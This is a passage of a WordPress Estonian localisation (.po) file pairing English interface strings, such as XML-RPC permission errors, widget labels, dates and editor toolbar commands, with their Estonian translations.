wp-includes/default-widgets.php:1360 msgid "Select Menu:" msgstr "Vali menüü:" #: wp-includes/taxonomy.php:77 msgid "Navigation Menu" msgstr "Menüü" #: wp-includes/default-widgets.php:1279 msgid "Taxonomy:" msgstr "Taksonoomia:" #: wp-includes/admin-bar.php:681 msgid "Menus" msgstr "Menüüd" #: wp-includes/class-wp-xmlrpc-server.php:352 msgid "Software Name" msgstr "Tarkvara nimetus" #: wp-includes/class-wp-xmlrpc-server.php:357 msgid "Software Version" msgstr "Tarkvara versioon" #: wp-includes/class-wp-xmlrpc-server.php:414 msgid "Time Zone" msgstr "Ajavöönd" #: wp-includes/class-wp-xmlrpc-server.php:439 msgid "Allow new users to sign up" msgstr "Luba uutel kasutajatel registreeruda" #: wp-includes/class-wp-xmlrpc-server.php:2479 msgid "Sorry, you cannot edit this page." msgstr "Vabandust, sa ei saa seda lehte muuta." #: wp-includes/class-wp-xmlrpc-server.php:2490 #: wp-includes/class-wp-xmlrpc-server.php:2597 #: wp-includes/class-wp-xmlrpc-server.php:2647 msgid "Sorry, no such page." msgstr "Vabandust, sellist lehte pole." #: wp-includes/class-wp-xmlrpc-server.php:2518 #: wp-includes/class-wp-xmlrpc-server.php:2690 msgid "Sorry, you cannot edit pages." msgstr "Vabandust, sa ei saa lehti muuta." #: wp-includes/class-wp-xmlrpc-server.php:2601 msgid "Sorry, you do not have the right to delete this page." msgstr "Vabandust, sul pole õigust seda lehte kustutada." #: wp-includes/class-wp-xmlrpc-server.php:2606 msgid "Failed to delete the page." msgstr "Lehe kustutamine ebaõnnestus." #: wp-includes/class-wp-xmlrpc-server.php:2651 msgid "Sorry, you do not have the right to edit this page." msgstr "Vabandust, sul pole õigust seda lehte muuta." #: wp-includes/class-wp-xmlrpc-server.php:2825 msgid "Sorry, you do not have the right to add a category." msgstr "Vabandust, sul pole õigust rubriike lisada." #: wp-includes/class-wp-xmlrpc-server.php:2853 #: wp-includes/class-wp-xmlrpc-server.php:2855 msgid "Sorry, the new category failed." msgstr "Vabandust, rubriigi lisamine ebaõnnestus." #: wp-includes/class-wp-xmlrpc-server.php:2894 msgid "Sorry, you do not have the right to delete a category." msgstr "Vabandust, sul pole õigust rubriike kustutada." #: wp-includes/class-wp-xmlrpc-server.php:2977 #: wp-includes/class-wp-xmlrpc-server.php:3077 #: wp-includes/class-wp-xmlrpc-server.php:3142 msgid "Invalid comment ID." msgstr "Vigane kommentaari ID." #: wp-includes/class-wp-xmlrpc-server.php:3013 msgid "Sorry, you cannot edit comments." msgstr "Vabandust, sa ei saa kommentaare muuta." #: wp-includes/class-wp-xmlrpc-server.php:3155 msgid "Invalid comment status." msgstr "Vigane kommentaari olek." #: wp-includes/class-wp-xmlrpc-server.php:3187 msgid "Sorry, the comment could not be edited. Something wrong happened." msgstr "Vabandust, seda kommentaari ei saa muuta. Midagi läks viltu." #: wp-includes/class-wp-xmlrpc-server.php:3234 msgid "You must be registered to comment" msgstr "Kommenteerimiseks peab registreeruma ja sisse logima" #: wp-includes/class-wp-xmlrpc-server.php:1164 #: wp-includes/class-wp-xmlrpc-server.php:1423 #: wp-includes/class-wp-xmlrpc-server.php:1484 #: wp-includes/class-wp-xmlrpc-server.php:1575 #: wp-includes/class-wp-xmlrpc-server.php:2476 #: wp-includes/class-wp-xmlrpc-server.php:3247 #: wp-includes/class-wp-xmlrpc-server.php:3250 #: wp-includes/class-wp-xmlrpc-server.php:4060 #: wp-includes/class-wp-xmlrpc-server.php:4736 #: wp-includes/class-wp-xmlrpc-server.php:5014 #: wp-includes/class-wp-xmlrpc-server.php:5520 #: wp-includes/class-wp-xmlrpc-server.php:5568 #: wp-includes/class-wp-xmlrpc-server.php:5692 wp-includes/post.php:3098 #: wp-includes/post.php:3545 msgid "Invalid post ID." msgstr "Vigane postituse ID." #: wp-includes/class-wp-xmlrpc-server.php:3276 msgid "Comment author name and email are required" msgstr "Kommenteerija nimi ja e-postiaadress on nõutavad" #: wp-includes/class-wp-xmlrpc-server.php:3278 msgid "A valid email address is required" msgstr "Vajalik on toimiv e-postiaadress" #: wp-includes/class-wp-xmlrpc-server.php:3351 msgid "You are not allowed access to details about comments." msgstr "Sul pole õigust kommentaaride detaile vaadata." #: wp-includes/class-wp-xmlrpc-server.php:3520 msgid "You are not allowed to update options." msgstr "Sul pole õigusi sätteid uuendada." #: wp-includes/class-wp-xmlrpc-server.php:1578 #: wp-includes/class-wp-xmlrpc-server.php:3920 #: wp-includes/class-wp-xmlrpc-server.php:4063 #: wp-includes/class-wp-xmlrpc-server.php:5017 #: wp-includes/class-wp-xmlrpc-server.php:5360 #: wp-includes/class-wp-xmlrpc-server.php:5571 msgid "Sorry, you cannot edit this post." msgstr "Vabandust, sa ei saa seda postitust muuta." #: wp-includes/class-wp-xmlrpc-server.php:4117 #: wp-includes/class-wp-xmlrpc-server.php:5429 msgid "Either there are no posts, or something went wrong." msgstr "Kas pole postitusi või läks midagi viltu." #: wp-includes/class-wp-xmlrpc-server.php:4260 #: wp-includes/class-wp-xmlrpc-server.php:4325 #: wp-includes/class-wp-xmlrpc-server.php:5114 #: wp-includes/class-wp-xmlrpc-server.php:5645 msgid "Sorry, no such post." msgstr "Vabandust, sellist postitust pole." #: wp-includes/class-wp-xmlrpc-server.php:4269 #: wp-includes/class-wp-xmlrpc-server.php:4909 msgid "Sorry, you do not have the right to publish this post." msgstr "Vabandust, sul pole õigust seda postitust avaldada." #: wp-includes/class-wp-xmlrpc-server.php:4797 msgid "You are not allowed to change the post author as this user." msgstr "Sul ei ole õigust selle kasutajana postituse autorit muuta." #: wp-includes/class-wp-xmlrpc-server.php:4801 msgid "You are not allowed to change the page author as this user." msgstr "Sul ei ole õigust selle kasutajana lehe autorit muuta." #: wp-includes/class-wp-xmlrpc-server.php:4907 msgid "Sorry, you do not have the right to publish this page." msgstr "Vabandust, sul pole õigust seda lehekülge avaldada." #: wp-includes/class-wp-xmlrpc-server.php:4945 msgid "Sorry, your entry could not be edited. Something wrong happened." msgstr "Vabandust, seda postitust ei saa muuta. Midagi läks viltu." #: wp-includes/class-wp-xmlrpc-server.php:5351 msgid "Could not write file %1$s (%2$s)" msgstr "Faili %1$s (%2$s) ei saa kirjutada" #: wp-includes/class-wp-xmlrpc-server.php:5523 msgid "Sorry, you can not edit this post." msgstr "Vabandust, sa ei saa seda postitust muuta." #: wp-includes/class-wp-xmlrpc-server.php:5754 msgid "Is there no link to us?" msgstr "Kas viide on puudu?" #: wp-includes/class-wp-xmlrpc-server.php:5794 #: wp-includes/class-wp-xmlrpc-server.php:5801 #: wp-includes/class-wp-xmlrpc-server.php:5808 #: wp-includes/class-wp-xmlrpc-server.php:5948 msgid "The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource." msgstr "Määratud URL ei sobi. Seda kas ei ole olemas või ei tunnista ta pingback-i." #: wp-includes/class-wp-xmlrpc-server.php:5804 msgid "The source URL and the target URL cannot both point to the same resource." msgstr "Lähte- ja sihtkoha URL-id ei tohi olla samad." #: wp-includes/class-wp-xmlrpc-server.php:5812 msgid "The pingback has already been registered." msgstr "See pingback-viide on juba registreeritud." #: wp-includes/class-wp-xmlrpc-server.php:5836 msgid "The source URL does not exist." msgstr "Lähtekoha URL-i ei leitud." #: wp-includes/class-wp-xmlrpc-server.php:5856 msgid "We cannot find a title on that page." msgstr "Ei leia selle lehe pealkirja." #: wp-includes/class-wp-xmlrpc-server.php:5892 msgid "The source URL does not contain a link to the target URL, and so cannot be used as a source." msgstr "Lähtekoha URL ei viita sihtkoha URL-ile - seda ei saa allikana kasutada." #: wp-includes/class-wp-xmlrpc-server.php:5921 msgid "Pingback from %1$s to %2$s registered. Keep the web talking! :-)" msgstr "Laekus pingback-viide %1$s-lt postitusele %2$s. " #: wp-includes/class-wp-xmlrpc-server.php:5955 msgid "The specified target URL does not exist." msgstr "Sihtkoha URL-i ei leitud." #: wp-includes/load.php:123 msgid "Your PHP installation appears to be missing the MySQL extension which is required by WordPress." msgstr "Sinu PHP paigalduses puudub MySQL-i moodul, mida WordPress vajab." #: wp-includes/load.php:384 msgid "<strong>ERROR</strong>: <code>$table_prefix</code> in <code>wp-config.php</code> can only contain numbers, letters, and underscores." msgstr "<strong>VIGA</strong>: <code>$table_prefix</code> failis <code>wp-config.php</code> võib sisaldada üksnes tähti, numbreid ja allkriipse." #: wp-includes/wp-db.php:1229 msgid "WordPress database error %1$s for query %2$s made by %3$s" msgstr "WordPressi andmebaasiviga %1$s päringule %2$s, mille esitas %3$s" #: wp-includes/wp-db.php:1231 msgid "WordPress database error %1$s for query %2$s" msgstr "WordPressi andmebaasiviga %1$s päringule %2$s" #: wp-includes/comment-template.php:2115 msgid "Cancel reply" msgstr "Tühista vastus" #: wp-includes/comment-template.php:2116 msgid "Post Comment" msgstr "Saada kommentaar" #: wp-includes/comment.php:532 msgid "Unapproved" msgstr "Lükka tagasi" #: wp-includes/comment.php:844 wp-includes/comment.php:846 msgid "Duplicate comment detected; it looks as though you’ve already said that!" msgstr "Kahekordne kommentaar - tundub, et oled selle korra juba saatnud!" #: wp-includes/comment.php:1871 msgid "Could not update comment status" msgstr "Kommentaaride seisu uuendamine ebaõnnestus" #: wp-includes/cron.php:171 msgid "This argument has changed to an array to match the behavior of the other cron functions." msgstr "See argument on asendatud massiiviga, et olla kooskõlas kõigi teiste cron-i funktsioonide toimimisega." #: wp-includes/cron.php:368 msgid "Once Hourly" msgstr "Kord tunnis" #: wp-includes/cron.php:369 msgid "Twice Daily" msgstr "Kaks korda päevas" #: wp-includes/cron.php:370 msgid "Once Daily" msgstr "Kord päevas" #: wp-includes/default-widgets.php:92 wp-includes/default-widgets.php:192 msgid "Sort by:" msgstr "Sorteerimiskriteerium:" #: wp-includes/default-widgets.php:94 msgid "Page title" msgstr "Lehe pealkiri" #: wp-includes/default-widgets.php:95 msgid "Page order" msgstr "Lehe järjekorranr." #: wp-includes/default-widgets.php:96 msgid "Page ID" msgstr "Lehekülje nr" #: wp-includes/default-widgets.php:100 msgid "Exclude:" msgstr "Jäta välja:" #: wp-includes/default-widgets.php:102 msgid "Page IDs, separated by commas." msgstr "Lehtede ID-d, eraldatud komadega" #: wp-includes/default-widgets.php:117 msgid "Your blogroll" msgstr "Sinu viited" #: wp-includes/default-widgets.php:202 msgid "Show Link Image" msgstr "Näita viite ikooni" #: wp-includes/default-widgets.php:204 msgid "Show Link Name" msgstr "Näita viite nime" #: wp-includes/default-widgets.php:206 msgid "Show Link Description" msgstr "Näita viite kirjeldust" #: wp-includes/default-widgets.php:208 msgid "Show Link Rating" msgstr "Näita viite hinnangut" #: wp-includes/default-widgets.php:290 msgid "Select Month" msgstr "Vali kuu" #: wp-includes/default-widgets.php:355 wp-includes/default-widgets.php:636 msgid "Show post counts" msgstr "Näita postituste arvu" #: wp-includes/default-widgets.php:388 msgid "Entries <abbr title=\"Really Simple Syndication\">RSS</abbr>" msgstr "Sissekannete <abbr title=\"Really Simple Syndication\">RSS</abbr>" #: wp-includes/default-widgets.php:436 msgid "Calendar" msgstr "Kalender" #: wp-includes/default-widgets.php:481 msgid "Text" msgstr "Tekst" #: wp-includes/default-widgets.php:528 msgid "Automatically add paragraphs" msgstr "Lisa lõigud automaatselt." #: wp-includes/default-widgets.php:562 msgid "Select Category" msgstr "Vali rubriik" #: wp-includes/default-widgets.php:639 msgid "Show hierarchy" msgstr "Näita hierarhiat" #: wp-includes/default-widgets.php:654 wp-includes/default-widgets.php:683 msgid "Recent Posts" msgstr "Värsked postitused" #: wp-includes/default-widgets.php:766 msgid "Number of posts to show:" msgstr "Näidatavate postituste arv:" #. translators: comments widget: 1: comment author, 2: post link #: wp-includes/default-widgets.php:876 msgctxt "widgets" msgid "%1$s on %2$s" msgstr "%1$s, %2$s" #: wp-includes/default-widgets.php:1052 msgid "Untitled" msgstr "Nimetu" #: wp-includes/default-widgets.php:1131 msgid "RSS Error: %s" msgstr "RSS-i viga: %s" #: wp-includes/default-widgets.php:1136 msgid "Enter the RSS feed URL here:" msgstr "Sisesta RSS-voo URL:" #: wp-includes/default-widgets.php:1139 msgid "Give the feed a title (optional):" msgstr "Sisesta voo pealkiri (soovi korral):" #: wp-includes/default-widgets.php:1142 msgid "How many items would you like to display?" msgstr "Kui mitut postitust soovid näidata?" #: wp-includes/default-widgets.php:1152 msgid "Display item content?" msgstr "Kas näidata sisu?" #: wp-includes/default-widgets.php:1155 msgid "Display item author if available?" msgstr "Kas näidata autorit?" #: wp-includes/default-widgets.php:1158 msgid "Display item date?" msgstr "Kas näidata kuupäeva?" #: wp-includes/default-widgets.php:1225 msgid "Tag Cloud" msgstr "Sildipilv" #: wp-includes/deprecated.php:62 msgid "new WordPress Loop" msgstr "Uus WordPressi tsükkel" #: wp-includes/deprecated.php:989 msgid "Last updated" msgstr "Viimati uuendatud" #: wp-includes/deprecated.php:1905 wp-includes/post-template.php:1472 msgid "Missing Attachment" msgstr "Manus puudub" #: wp-includes/feed-atom-comments.php:34 wp-includes/feed-rss2-comments.php:39 msgid "Comments for %1$s searching on %2$s" msgstr "Kommmentaarid %1$s kohta, otsin %2$s" #: wp-includes/feed-atom-comments.php:36 wp-includes/feed-rss2-comments.php:41 msgid "Comments for %s" msgstr "Kommentaarid %s kohta" #: wp-includes/feed-atom-comments.php:73 wp-includes/feed-rss2-comments.php:68 msgid "Comment on %1$s by %2$s" msgstr "%2$s kommentaar %1$s kohta" #: wp-includes/feed-atom-comments.php:75 wp-includes/feed-rss2-comments.php:70 msgid "By: %s" msgstr "Kirjutas %s" #: wp-includes/feed-rss2-comments.php:37 msgid "Comments on: %s" msgstr "Kommentaarid %s kohta" #: wp-includes/feed-rss2-comments.php:78 msgid "Protected Comments: Please enter your password to view comments." msgstr "Kaitstud kommentaarid: vaatamiseks sisesta enda parool." #. translators: min=minute #: wp-includes/formatting.php:2485 msgid "%s min" msgid_plural "%s mins" msgstr[0] "%s minut" msgstr[1] "%s minutit" #: wp-includes/formatting.php:2490 msgid "%s hour" msgid_plural "%s hours" msgstr[0] "%s tund" msgstr[1] "%s tundi" #: wp-includes/formatting.php:2495 msgid "%s day" msgid_plural "%s days" msgstr[0] "%s päev" msgstr[1] "%s päeva" #. translators: used between list items, there is a space after the comma #: wp-includes/class-wp-theme.php:674 msgid ", " msgstr ", " #: wp-includes/option.php:138 msgid "%s is a protected WP option and may not be modified" msgstr "%s on WP kinnine omadus ja seda ei saa muuta" #: wp-includes/functions.php:1832 wp-includes/functions.php:1968 msgid "Unable to create directory %s. Is its parent directory writable by the server?" msgstr "Kataloogi %s ei saa luua - kas selle ülemkataloogile on kirjutusõigused olemas?" #: wp-includes/functions.php:1932 msgid "Empty filename" msgstr "Tühi failinimi" #: wp-includes/functions.php:1974 msgid "Could not write file %s" msgstr "Faili %s ei saa kirjutada" #: wp-includes/functions.php:2318 msgid "You are attempting to log out of %s" msgstr "Üritad lehelt %s välja logida" #: wp-includes/functions.php:2316 msgid "WordPress Failure Notice" msgstr "WordPressi veateade" #: wp-includes/functions.php:2320 msgid "Do you really want to <a href='%s'>log out</a>?" msgstr "Kas soovid tõesti <a href='%s'>välja logida</a>?" #: wp-includes/functions.php:2324 wp-includes/ms-functions.php:1914 msgid "Please try again." msgstr "Palun proovi uuesti." #: wp-includes/functions.php:2420 msgid "« Back" msgstr "« Tagasi" #: wp-includes/functions.php:2432 wp-load.php:72 msgid "WordPress › Error" msgstr "WordPress › Viga" #: wp-includes/functions.php:3201 wp-includes/functions.php:3258 msgid "%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead." msgstr "%1$s on alates versioonist %2$s <strong>vananenud</strong>! Parem variant on %3$s." #: wp-includes/functions.php:3203 wp-includes/functions.php:3260 msgid "%1$s is <strong>deprecated</strong> since version %2$s with no alternative available." msgstr "%1$s on alates versioonist %2$s <strong>vananenud</strong>, ent paremat varianti hetkel pole." #: wp-includes/functions.php:3318 msgid "%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s" msgstr "See argument väärtusele %1$s on alates versioonist %2$s <strong>vananenud</strong>! %3$s" #: wp-includes/functions.php:3320 msgid "%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available." msgstr "See argument väärtusele %1$s on alates versioonist %2$s <strong>vananenud</strong>, ent paremat varianti hetkel pole." #: wp-includes/functions.php:3846 msgid "Select a city" msgstr "Vali linn" #: wp-includes/functions.php:3891 wp-includes/functions.php:3895 msgid "UTC" msgstr "UTC" #: wp-includes/functions.php:3899 msgid "Manual Offsets" msgstr "Määra käsitsi" #: wp-includes/general-template.php:284 wp-login.php:545 wp-login.php:608 #: wp-login.php:651 wp-login.php:733 msgid "Log in" msgstr "Logi sisse" #: wp-includes/general-template.php:286 msgid "Log out" msgstr "Logi välja" #: wp-includes/general-template.php:407 wp-login.php:886 msgid "Remember Me" msgstr "Jäta mind meelde" #: wp-includes/general-template.php:540 wp-login.php:548 wp-login.php:654 #: wp-login.php:729 wp-login.php:905 msgid "Register" msgstr "Registreeru" #: wp-includes/general-template.php:544 msgid "Site Admin" msgstr "Haldur" #. translators: 1: separator, 2: search phrase #: wp-includes/general-template.php:827 msgid "Search Results %1$s %2$s" msgstr "Otsitulemused %1$s %2$s" #: wp-includes/general-template.php:832 msgid "Page not found" msgstr "Lehte ei leitud" #. translators: 1: month name, 2: 4-digit year #: wp-includes/general-template.php:1274 wp-includes/media.php:2857 msgid "%1$s %2$d" msgstr "%1$s %2$d" #. translators: Calendar caption: 1: month name, 2: 4-digit year #: wp-includes/general-template.php:1480 msgctxt "calendar caption" msgid "%1$s %2$s" msgstr "%1$s %2$s" #. translators: Separator between blog name and feed type in feed links #: wp-includes/general-template.php:2095 wp-includes/general-template.php:2118 msgctxt "feed link" msgid "»" msgstr "»" #. translators: 1: blog title, 2: separator (raquo) #: wp-includes/general-template.php:2097 msgid "%1$s %2$s Feed" msgstr "%1$s %2$s RSS" #. translators: 1: blog title, 2: separator (raquo) #: wp-includes/general-template.php:2099 msgid "%1$s %2$s Comments Feed" msgstr "%1$s %2$s Kommentaaride RSS" #. translators: 1: blog name, 2: separator(raquo), 3: post title #: wp-includes/general-template.php:2120 msgid "%1$s %2$s %3$s Comments Feed" msgstr "%1$s %2$s %3$s Kommentaaride RSS" #. translators: 1: blog name, 2: separator(raquo), 3: category name #: wp-includes/general-template.php:2122 msgid "%1$s %2$s %3$s Category Feed" msgstr "%1$s %2$s %3$s Rubriigi RSS" #. translators: 1: blog name, 2: separator(raquo), 3: tag name #: wp-includes/general-template.php:2124 msgid "%1$s %2$s %3$s Tag Feed" msgstr "%1$s %2$s %3$s Sildi RSS" #. translators: 1: blog name, 2: separator(raquo), 3: author name #: wp-includes/general-template.php:2126 msgid "%1$s %2$s Posts by %3$s Feed" msgstr "%1$s %2$s Autori %3$s postituste RSS" #. translators: 1: blog name, 2: separator(raquo), 3: search phrase #: wp-includes/general-template.php:2128 msgid "%1$s %2$s Search Results for “%3$s” Feed" msgstr "%1$s %2$s Otsingu “%3$s” RSS" #: wp-includes/general-template.php:2483 msgid "« Previous" msgstr "« Eelmine" #: wp-includes/general-template.php:2484 msgid "Next »" msgstr "Järgmine »" #: wp-includes/class-http.php:194 msgid "User has blocked requests through HTTP." msgstr "Kasutaja on HTTP päringud blokeerinud." #: wp-includes/class-http.php:741 wp-includes/class-http.php:1413 #: wp-includes/class-http.php:1441 msgid "Too many redirects." msgstr "Liiga palju ümbersuunamisi." #: wp-includes/class-http.php:1005 wp-includes/class-http.php:1370 msgid "Could not open handle for fopen() to %s" msgstr "Funktsioon fopen() %s avamiseks ei tööta" #. translators: month name #: wp-includes/locale.php:131 wp-includes/locale.php:146 msgid "January" msgstr "jaanuar" #. translators: month name #: wp-includes/locale.php:132 wp-includes/locale.php:147 msgid "February" msgstr "veebruar" #. translators: month name #: wp-includes/locale.php:133 wp-includes/locale.php:148 msgid "March" msgstr "märts" #. translators: month name #: wp-includes/locale.php:134 wp-includes/locale.php:149 msgid "April" msgstr "aprill" #. translators: month name #: wp-includes/locale.php:135 wp-includes/locale.php:150 msgid "May" msgstr "mai" #. translators: month name #: wp-includes/locale.php:136 wp-includes/locale.php:151 msgid "June" msgstr "juuni" #. translators: month name #: wp-includes/locale.php:137 wp-includes/locale.php:152 msgid "July" msgstr "juuli" #. translators: month name #: wp-includes/locale.php:138 wp-includes/locale.php:153 msgid "August" msgstr "august" #. translators: month name #: wp-includes/locale.php:139 wp-includes/locale.php:154 msgid "September" msgstr "september" #. translators: month name #: wp-includes/locale.php:140 wp-includes/locale.php:155 msgid "October" msgstr "oktoober" #. translators: month name #: wp-includes/locale.php:141 wp-includes/locale.php:156 msgid "November" msgstr "november" #. translators: month name #: wp-includes/locale.php:142 wp-includes/locale.php:157 msgid "December" msgstr "detsember" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:146 msgid "Jan_January_abbreviation" msgstr "jaan" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:147 msgid "Feb_February_abbreviation" msgstr "veebr" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:148 msgid "Mar_March_abbreviation" msgstr "märts" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:149 msgid "Apr_April_abbreviation" msgstr "apr" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:150 msgid "May_May_abbreviation" msgstr "mai" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:151 msgid "Jun_June_abbreviation" msgstr "juuni" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:152 msgid "Jul_July_abbreviation" msgstr "juuli" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:153 msgid "Aug_August_abbreviation" msgstr "aug" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:154 msgid "Sep_September_abbreviation" msgstr "sept" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:155 msgid "Oct_October_abbreviation" msgstr "okt" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:156 msgid "Nov_November_abbreviation" msgstr "nov" #. translators: three-letter abbreviation of the month #: wp-includes/locale.php:157 msgid "Dec_December_abbreviation" msgstr "dets" #. translators: weekday #: wp-includes/locale.php:99 wp-includes/locale.php:109 #: wp-includes/locale.php:122 msgid "Sunday" msgstr "Pühapäev" #. translators: weekday #: wp-includes/locale.php:100 wp-includes/locale.php:110 #: wp-includes/locale.php:123 msgid "Monday" msgstr "Esmaspäev" #. translators: weekday #: wp-includes/locale.php:101 wp-includes/locale.php:111 #: wp-includes/locale.php:124 msgid "Tuesday" msgstr "Teisipäev" #. translators: weekday #: wp-includes/locale.php:102 wp-includes/locale.php:112 #: wp-includes/locale.php:125 msgid "Wednesday" msgstr "Kolmapäev" #. translators: weekday #: wp-includes/locale.php:103 wp-includes/locale.php:113 #: wp-includes/locale.php:126 msgid "Thursday" msgstr "Neljapäev" #. translators: weekday #: wp-includes/locale.php:104 wp-includes/locale.php:114 #: wp-includes/locale.php:127 msgid "Friday" msgstr "Reede" #. translators: weekday #: wp-includes/locale.php:105 wp-includes/locale.php:115 #: wp-includes/locale.php:128 msgid "Saturday" msgstr "Laupäev" #. translators: three-letter abbreviation of the weekday #: wp-includes/locale.php:122 msgid "Sun" msgstr "P" #. translators: three-letter abbreviation of the weekday #: wp-includes/locale.php:123 msgid "Mon" msgstr "E" #. translators: three-letter abbreviation of the weekday #: wp-includes/locale.php:124 msgid "Tue" msgstr "T" #. translators: three-letter abbreviation of the weekday #: wp-includes/locale.php:125 msgid "Wed" msgstr "K" #. translators: three-letter abbreviation of the weekday #: wp-includes/locale.php:126 msgid "Thu" msgstr "N" #. translators: three-letter abbreviation of the weekday #: wp-includes/locale.php:127 msgid "Fri" msgstr "R" #. translators: three-letter abbreviation of the weekday #: wp-includes/locale.php:128 msgid "Sat" msgstr "L" #: wp-includes/class-wp-editor.php:846 msgid "Print" msgstr "Trüki" #: wp-includes/class-wp-editor.php:818 msgid "Insert/edit image" msgstr "Lisa/muuda pilt" #: wp-includes/class-wp-editor.php:852 wp-includes/class-wp-editor.php:1378 #: wp-includes/js/tinymce/wp-mce-help.php:118 wp-includes/script-loader.php:357 msgid "Insert/edit link" msgstr "Lisa/muuda viide" #: wp-includes/class-wp-editor.php:889 msgid "Insert row before" msgstr "Lisa ette rida" #: wp-includes/class-wp-editor.php:890 msgid "Insert row after" msgstr "Lisa rida järele" #: wp-includes/class-wp-editor.php:895 msgid "Delete row" msgstr "Kustuta rida" #: wp-includes/class-wp-editor.php:891 msgid "Insert column before" msgstr "Lisa ette veerg" #: wp-includes/class-wp-editor.php:892 msgid "Insert column after" msgstr "Lisa veerg järele" #: wp-includes/class-wp-editor.php:899 msgid "Merge table cells" msgstr "Ühenda lahtrid" #: wp-includes/class-wp-editor.php:876 msgid "Table row properties" msgstr "Rea omadused" #: wp-includes/class-wp-editor.php:877 msgid "Table cell properties" msgstr "Lahtri omadused" #: wp-includes/class-wp-editor.php:875 msgid "Table properties" msgstr "Tabeli omadused" #: wp-includes/class-wp-editor.php:893 msgid "Paste table row before" msgstr "Kleebi ette rida" #: wp-includes/class-wp-editor.php:894 msgid "Paste table row after" msgstr "Kleebi järele rida" #: wp-includes/class-wp-editor.php:897 msgid "Cut table row" msgstr "Lõika rida" #: wp-includes/class-wp-editor.php:898 msgid "Copy table row" msgstr "Kopeeri rida" #: wp-includes/class-wp-editor.php:874 msgid "Delete table" msgstr "Kustuta tabel" #: wp-includes/class-wp-editor.php:879 msgid "Row" msgstr "Rida" #: wp-includes/class-wp-editor.php:931 wp-includes/script-loader.php:386 #: wp-includes/script-loader.php:459 wp-includes/script-loader.php:539 #: wp-includes/theme.php:1934 msgid "The changes you made will be lost if you navigate away from this page." msgstr "Kui lahkud sellelt lehelt, lähevad tehtud muudatused kaduma." #: wp-includes/script-loader.php:95 msgid "Toggle fullscreen mode" msgstr "Lülita üleekraanirežiim sisse-välja" #: wp-includes/class-wp-editor.php:809 msgid "Document properties" msgstr "Dokumendi omadused" #: wp-includes/class-wp-editor.php:753 msgid "Paragraph" msgstr "Lõik" #: wp-includes/js/tinymce/wp-mce-help.php:117 msgid "Address" msgstr "Aadress" #: wp-includes/class-wp-editor.php:744 #: wp-includes/js/tinymce/wp-mce-help.php:114 msgid "Heading 1" msgstr "Pealkiri 1" #: wp-includes/class-wp-editor.php:745 #: wp-includes/js/tinymce/wp-mce-help.php:115 msgid "Heading 2" msgstr "Pealkiri 2" #: wp-includes/class-wp-editor.php:746 #: wp-includes/js/tinymce/wp-mce-help.php:115 msgid "Heading 3" msgstr "Pealkiri 3" #: wp-includes/class-wp-editor.php:747 #: wp-includes/js/tinymce/wp-mce-help.php:116 msgid "Heading 4" msgstr "Pealkiri 4" #: wp-includes/class-wp-editor.php:748 #: wp-includes/js/tinymce/wp-mce-help.php:116 msgid "Heading 5" msgstr "Pealkiri 5" #: wp-includes/class-wp-editor.php:749 #: wp-includes/js/tinymce/wp-mce-help.php:117 msgid "Heading 6" msgstr "Pealkiri 6" #: wp-includes/class-wp-editor.php:754 msgid "Blockquote" msgstr "Tsitaadiblokk" #: wp-includes/class-wp-editor.php:765 #: wp-includes/js/tinymce/wp-mce-help.php:113 msgid "Bold" msgstr "Rasvane" #: wp-includes/class-wp-editor.php:766 #: wp-includes/js/tinymce/wp-mce-help.php:113 msgid "Italic" msgstr "Kaldkiri" #: wp-includes/class-wp-editor.php:760 #: wp-includes/js/tinymce/wp-mce-help.php:114 msgid "Underline" msgstr "Allajoonimine" #: wp-includes/class-wp-editor.php:761 #: wp-includes/js/tinymce/wp-mce-help.php:126 msgid "Strikethrough" msgstr "Läbikriipsutus" #: wp-includes/js/tinymce/wp-mce-help.php:124 msgid "Align Left" msgstr "Joonda vasakule" #: wp-includes/js/tinymce/wp-mce-help.php:125 msgid "Align Center" msgstr "Joonda keskele" #: wp-includes/js/tinymce/wp-mce-help.php:126 msgid "Align Right" msgstr "Joonda paremale" #: wp-includes/class-wp-editor.php:762 msgid "Subscript" msgstr "Alaindeks" #: wp-includes/class-wp-editor.php:763 msgid "Superscript" msgstr "Ülaindeks" #: wp-includes/class-wp-editor.php:779 #: wp-includes/js/tinymce/wp-mce-help.php:111 msgid "Cut" msgstr "Lõika" #: wp-includes/class-wp-editor.php:780 #: wp-includes/js/tinymce/wp-mce-help.php:110 msgid "Copy" msgstr "Kopeeri" #: wp-includes/class-wp-editor.php:781 #: wp-includes/js/tinymce/wp-mce-help.php:110 msgid "Paste" msgstr "Kleebi" #: wp-includes/class-wp-editor.php:740 msgid "New document" msgstr "Uus dokument" #: wp-includes/class-wp-editor.php:825 msgid "Image description" msgstr "Pildi kirjeldus" #: wp-includes/class-wp-editor.php:822 msgid "Border" msgstr "Ääris" #: wp-includes/class-wp-editor.php:827 msgid "Dimensions" msgstr "Mõõtmed" #: wp-includes/class-wp-editor.php:824 msgid "Vertical space" msgstr "Püstruum" #: wp-includes/class-wp-editor.php:850 msgid "Horizontal space" msgstr "Rõhtruum" #: wp-includes/class-wp-editor.php:819 msgid "General" msgstr "Üldine" #: wp-includes/js/tinymce/wp-mce-help.php:127 #: wp-includes/js/tinymce/wp-mce-help.php:128 msgid "List" msgstr "Nimistu" #: wp-includes/class-wp-editor.php:823 msgid "Constrain proportions" msgstr "Säilita mõõtkava" #: wp-includes/media-template.php:1052 wp-includes/media-template.php:1142 msgid "Loop" msgstr "Tsükkel" #: wp-includes/media-template.php:803 wp-includes/media-template.php:869 msgid "Align" msgstr "Joondus" #: wp-includes/admin-bar.php:684 msgid "Background" msgstr "Taust" #: wp-includes/class-wp-editor.php:848 wp-includes/script-loader.php:310 msgid "Fullscreen" msgstr "Üleekraanirežiim" #: wp-includes/script-loader.php:319 msgid "Mute" msgstr "Tumm" #: 